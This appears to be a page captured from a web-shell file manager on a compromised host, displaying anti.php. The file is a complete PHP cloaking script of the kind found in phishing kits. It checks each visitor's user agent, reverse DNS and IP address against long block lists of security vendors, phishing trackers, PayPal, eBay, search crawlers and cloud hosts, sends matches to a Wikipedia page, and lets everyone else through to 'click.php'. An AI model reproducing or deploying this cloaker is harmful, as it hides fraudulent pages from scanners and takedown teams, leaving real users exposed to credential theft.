HEX
Server: Apache
System: Linux sxb1plzcpnl503971.prod.sxb1.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User: nciq25gegoxa (9650876)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/nciq25gegoxa/public_html/ha8x/anti.php
<?php

// --- Function to get the real IP address ---
function getRealIpAddress() {
    $ip = '';

    if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
    } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
    } elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
    } elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
    } elseif (getenv('REMOTE_ADDR')) {
        $ip = getenv('REMOTE_ADDR');
    }

    // Handle comma-separated IPs from proxies (take the first one)
    if (strpos($ip, ',') !== false) {
        $ips = explode(',', $ip);
        $ip = trim($ips[0]);
    }

    return $ip;
}

$ipaddress = getRealIpAddress();
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

// --- Whitelist Check for Specific User-Agents ---
// If the User-Agent is one of these specific strings, skip all other checks.
$whitelistedUserAgents = [
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 BingPreview/1.0b",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b",
    "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko BingPreview/1.0b",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
];

if (in_array($userAgent, $whitelistedUserAgents)) {
    // Allow the request to proceed
    return; // or simply do nothing and let the script continue
}


// --- Specific Allowed Keywords in User-Agent ---
// If the User-Agent contains one of these, skip main checks.
$allowedKeywords = [
    'favicon', 'Java', 'FreeBSD', 'msnbot', 'Yahoo! Slurp', 'YahooSeeker',
    'Googlebot', 'bingbot', 'crawler', 'PycURL', 'facebookexternalhit'
];

$allowRequest = false;
foreach ($allowedKeywords as $keyword) {
    if (stripos($userAgent, $keyword) !== false) {
        $allowRequest = true;
        break;
    }
}

if ($allowRequest) {
    // Allow the request to proceed
    return;
}


// --- Block Lists ---

// List of words/IP patterns that identify bad bots, scanners, hosts
$blockedWords = [
    // --- Hosting Providers / Data Centers / Known Bots ---
    "above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank",
    "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "msnbot", "p3pwgdsn",
    "netcraft", "trendmicro", "ebay", "paypal", "torservers", "messagelabs",
    "sucuri.net", "crawler", "duckduck", "feedfetcher", "BitDefender", "mcafee",
    "antivirus", "cloudflare", "p3pwgdsn", "avg", "avira", "avast", "ovh.net",
    "security", "twitter", "bitdefender", "virustotal", "phising", "clamav",
    "baidu", "safebrowsing", "eset", "mailshell", "azure", "miniature", "tlh.ro",
    "aruba", "dyn.plus.net", "pagepeeker", "SPRO-NET-207-70-0", "SPRO-NET-209-19-128",
    "vultr", "colocrossing.com", "geosr", "drweb", "dr.web", "linode.com",
    "opendns", 'cymru.com', 'sl-reverse.com', 'surriel.com', 'hosting',
    'orange-labs', 'speedtravel', 'metauri', 'apple.com', 'bruuk.sk', 'sysms.net',
    'oracle', 'cisco', 'amuri.net', "versanet.de", "hilfe-veripayed.com",
    "007ac9", "008", "4seohuntbot", "50.nu", "80legs.com/webcrawler", "192.comagent",
    "200pleasebot", "360spider", "a6-indexer", "aboundexbot", "aboutusbot",
    "above", "abrave spider", "accelobot", "acoonbot", "acunetix", "addthis.com",
    "admantx", "adsbot-google", "AhrefsBot", "ahrefsbot", "alexabot", "amagit.com",
    "amazonaws", "amznkassocbot", "analytics", "antbot", "apache-httpclient",
    "apercite", "aportworm", "arabot", "Baiduspider", "BazQuxBot", "bingbot",
    "bot", "Butterfly", "calyxinstitute", "compatible", "crawler", "cyveillance",
    "Dr.Web", "dreamhost", "drweb", "ebay", "echo blinde kuh", "Exabot", "Ezooms",
    "facebook", "facebookexternalhit", "Feedfetcher-Google", "Feedly", "google",
    "Googlebot", "GrapeshotCrawler", "grokkit-crawler", "hostinger", "InAGist",
    "jetbrains", "Kraken", "lssrocketcrawler", "magpie-crawler", "MaxPointCrawler",
    "Mediapartners-Google", "merlinkbot", "messagelabs", "MJ12bot", "mon.itor.us",
     "msnbot", "netcraft", "NetcraftSurveyAgent", "netpilot",
    "NetSeer crawler", "netsparker", "NING", "p3pwgdsn", "PaperLiBot", "paypal",
    "PercolateCrawler", "phishtank", "picsearch", "PrintfulBot", "PulseCrawler",
    "Python-urllib", "QuerySeekerSpider", "R6_CommentReader", "R6_FeedFetcher",
    "scanurl", "SearchmetricsBot", "shai", "hulud", "ShowyouBot", "SISTRIX Crawler",
    "SMXCrawler", "softlayer", "Sogou web spider", "spam", "spbot", "Spinn3r",
    "sucuri.net", "TencentTraveler", "tor-exit", "torservers", "trendmicro",
    "Trident", "TweetedTimes Bot", "TweetmemeBot", "Twitterbot", "UnwindFetchor",
    "urlredirectresolver", "urlresolver", "wildferret", "windows 95", "windows 98",
    "Windows XP", "windows xp", "woriobot", "X11", "Y!J-BRW", "Yahoo! Slurp",
    "yahoo!", "YandexBot", "kaspersky", "sophos", "virustotal", "virus",
    "Genieo", "BomboraBot", "CCBot", "URLAppendBot", "DomainAppender",
    "msnbot-media", "Antivirus", "YoudaoBot", "MJ12bot", "linkdexbot",
    "Go-http-client", "presto", "BingPreview", "go-http-client",
    "go-http-client/1.1", "trident", "presto", "virustotal", "unchaos",
    "dreampassport", "sygol", "nutch", "privoxy", "zipcommander", "neofonie",
    "abacho", "acoi", "acoon", "adaxas", "agada", "aladin", "alkaline",
    "amibot", "anonymizer", "aplix", "aspseek", "avant", "baboom", "anzwers",
    "anzwerscrawl", "crawlconvera", "del.icio.us", "camehttps", "annotate",
    "wapproxy", "translate", "feedfetcher", "ask24", "asked", "askaboutoil",
    "fangcrawl", "amzn_assoc", "bingpreview", "dr.web", "drweb", "bilbo",
    "blackwidow", "sogou", "sogou-test-spider", "exabot", "externalhit",
    "ia_archiver", "mj12", "okhttp", "simplepie", "curl", "wget", "virus",
    "pipes", "antivirus", "python", "ruby", "avast", "firebird", "scmguard",
    "adsbot", "weblight", "favicon", "analytics", "insights", "headless",
    "github", "node", "agusescan", "zteopen", "bot", "docomo", "mediapartners",
    "phantomjs", "lighthouse", "reverseshorturl", "samsung-sgh-e250", "gsa-crawler",
    "preview", "whatsapp", "telegram", "instagram", "icoreservice",
    // --- Large list of individual bot/crawler names ---
    "accoona", "acoon", "adressendeutschland", "ah-ha.com", "ahoy", "altavista",
    "ananzi", "anthill", "appie", "arachnophilia", "arale", "araneo", "aranha",
    "architext", "aretha", "arks", "asterias", "atlocal", "atn", "atomz",
    "augurfind", "backrub", "bannana_bot", "baypup", "bdfetch", "big brother",
    "biglotron", "bjaaland", "blackwidow", "blaiz", "blog", "blo.", "bloodhound",
    "boitho", "booch", "bradley", "butterfly", "calif", "cassandra", "ccubee",
    "cfetch", "charlotte", "churl", "cienciaficcion", "cmc", "collective",
    "comagent", "combine", "computingsite", "csci", "cusco", "daumoa", "deepindex",
    "delorie", "depspid", "deweb", "die blinde kuh", "digger", "ditto", "dmoz",
    "docomo", "download express", "dtaagent", "dwcp", "ebiness", "ebingbong",
    "e-collector", "ejupiter", "emacs-w3 search engine", "esther", "evliya celebi",
    "ezresult", "falcon", "felix ide", "ferret", "fetchrover", "fido", "findlinks",
    "fireball", "fish search", "fouineur", "funnelweb", "gazz", "gcreep",
    "genieknows", "getterroboplus", "geturl", "glx", "goforit", "golem", "grabber",
    "grapnel", "gralon", "griffon", "gromit", "grub", "gulliver", "hamahakki",
    "harvest", "havindex", "helix", "heritrix", "hku www octopus", "homerweb",
    "htdig", "html index", "html_analyzer", "htmlgobble", "hubater",
    "hyper-decontextualizer", "ia_archiver", "ibm_planetwide", "ichiro",
    "iconsurf", "iltrovatore", "image.kapsi.net", "imagelock", "incywincy",
    "indexer", "infobee", "informant", "ingrid", "inktomisearch.com",
    "inspector web", "intelliagent", "internet shinchakubin", "ip3000", "iron33",
    "israeli-search", "ivia", "jack", "jakarta", "javabee", "jetbot",
    "jumpstation", "katipo", "kdd-explorer", "kilroy", "knowledge", "kototoi",
    "kretrieve", "labelgrabber", "lachesis", "larbin", "legs", "libwww",
    "linkalarm", "link validator", "linkscan", "lockon", "lwp", "lycos", "magpie",
    "mantraagent", "mapoftheinternet", "marvin/", "mattie", "mediafox",
    "mediapartners", "mercator", "merzscope", "microsoft url control", "minirank",
    "miva", "mj12", "mnogosearch", "moget", "monster", "moose", "motor",
    "multitext", "muncher", "muscatferret", "mwd.search", "myweb", "najdi",
    "nameprotect", "nationaldirectory", "nazilla", "ncsa beta", "nec-meshexplorer",
    "nederland.zoek", "netcarta webmap engine", "netmechanic", "netresearchserver",
    "netscoop", "newscan-online", "nhse", "nokia6682/", "nomad", "noyona",
    "siteexplorer", "nutch", "nzexplorer", "objectssearch", "occam", "omni",
    "open text", "openfind", "openintelligencedata", "orb search", "osis-project",
    "pack rat", "pageboy", "pagebull", "page_verifier", "panscient", "parasite",
    "partnersite", "patric", "pear.", "pegasus", "peregrinator", "pgp key agent",
    "phantom", "phpdig", "picosearch", "piltdownman", "pimptrain", "pinpoint",
    "pioneer", "piranha", "plumtreewebaccessor", "pogodak", "poirot", "pompos",
    "poppelsdorf", "poppi", "popular iconoclast", "psycheclone", "publisher",
    "python", "rambler", "raven search", "roach", "road runner", "roadhouse",
    "robbie", "robofox", "robozilla", "rules", "salty", "sbider", "scooter",
    "scoutjet", "scrubby", "search.", "searchprocess", "semanticdiscovery",
    "senrigan", "sg-scout", "shai'hulud", "shark", "shopwiki", "sidewinder",
    "sift", "silk", "simmany", "site searcher", "site valet", "sitetech-rover",
    "skymob.com", "sleek", "smartwit", "sna-", "snappy", "snooper", "sohu",
    "speedfind", "sphere", "sphider", "spinner", "spyder", "steeler/", "suke",
    "suntek", "supersnooper", "surfnomore", "sven", "sygol", "szukacz",
    "tach black widow", "tarantula", "templeton", "/teoma", "t-h-u-n-d-e-r-s-t-o-n-e",
    "theophrastus", "titan", "titin", "tkwww", "toutatis", "t-rex", "tutorgig",
    "twiceler", "twisted", "ucsd", "udmsearch", "url check", "updated",
    "vagabondo", "valkyrie", "verticrawl", "victoria", "vision-search", "volcano",
    "voyager/", "voyager-hc", "w3c_validator", "w3m2", "w3mir", "walker",
    "wallpaper", "wanderer", "wauuu", "wavefire", "web core", "web hopper",
    "web wombat", "webbandit", "webcatcher", "webcopy", "webfoot", "weblayers",
    "weblinker", "weblog monitor", "webmirror", "webmonkey", "webquest",
    "webreaper", "websitepulse", "websnarf", "webstolperer", "webvac", "webwalk",
    "webwatch", "webwombat", "webzinger", "wget", "whizbang", "whowhere",
    "wild ferret", "worldlight", "wwwc", "wwwster", "xenu", "xget", "xift",
    "xirq", "yandex", "yanga", "yeti", "yodao", "zao/", "zippp", "zyborg",
    "proximic", "Cliqzbot", "YoudaoBot", "linkdexbot",
    // --- Bot signature fragments ---
    "abot", "dbot", "ebot", "hbot", "kbot", "lbot", "mbot", "nbot", "obot",
    "pbot", "rbot", "sbot", "tbot", "vbot", "ybot", "zbot", "bot.", "bot/",
    "_bot", ".bot", "/bot", "-bot", ":bot", "(bot", "crawl", "slurp", "spider",
    "seek"
];

// Array of IP address patterns/ranges to block
$bannedIPPatterns = [
    "66.249.91.*", "66.249.91.203", "^81.161.59.*", "^66.135.200.*", "^66.102.*.*",
    "^38.100.*.*", "^107.170.*.*", "^74.125.*.*", "^208.65.144.*", "^72.14.192.*",
    "^209.85.128.*", "^216.239.32.*", "^64.233.160.*", "^207.126.144.*",
    "^199.59.148.*", "^193.253.199.*", "^69.65.*.*", "^50.7.*.*", "^198.54.*.*",
    "^192.115.134.*", "^216.252.167.*", "^193.220.178.*", "68.65.53.71",
    "^198.25.*.*", "^64.106.213.*", "^94.26.*.*", "^95.85.*.*", "^72.52.96.*",
    "^212.8.79.*", "^62.99.77.*", "^202.108.252.*", "^193.47.80.*",
    "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^158.108.*.*",
    "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*",
    "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^35.172.115.*",
    "^54.164.*.*", "^222.154.252.*", "^195.211.23.*", "^13.57.36.*",
    "^210.55.200.*", "^42.112.8.*", "109.195.113.89", "80.245.118.54",
    "194.60.239.139"
];


// --- Perform Checks ---

// echo $userAgent;
// 1. Check User-Agent against blocked words
foreach ($blockedWords as $word) {
    if (stripos($userAgent, $word) !== false) {
        // Match found, block access
        header('Location: https://en.wikipedia.org/wiki/Art');
        exit();
    }
}

// 2. Check Hostname (reverse DNS) against blocked words
$hostname = @gethostbyaddr($ipaddress); // Suppress errors with @
if ($hostname !== false && $hostname !== $ipaddress) { // Only check if RDNS returned a name
    foreach ($blockedWords as $word) {
         // Use substr_count for partial matches in hostname
        if (substr_count(strtolower($hostname), strtolower($word)) > 0) {
            // Match found, block access
            header('Location: https://en.wikipedia.org/wiki/Art');
            exit();
        }
    }
}

// 3. Check IP address against banned patterns
foreach ($bannedIPPatterns as $pattern) {
    // Convert pattern (e.g., "^192.168.1.*" or "192.168.1.100") to regex
    $regex = str_replace(
        ['.', '*', '^'],
        ['\.', '.*', '^'],
        $pattern
    );
    if (preg_match("/$regex/", $ipaddress)) {
        // Match found, block access
        header('Location: https://en.wikipedia.org/wiki/Art');
        exit();
    }
}

// If none of the checks triggered, the request is allowed to proceed.
// The main script (click.php) will continue execution.

?>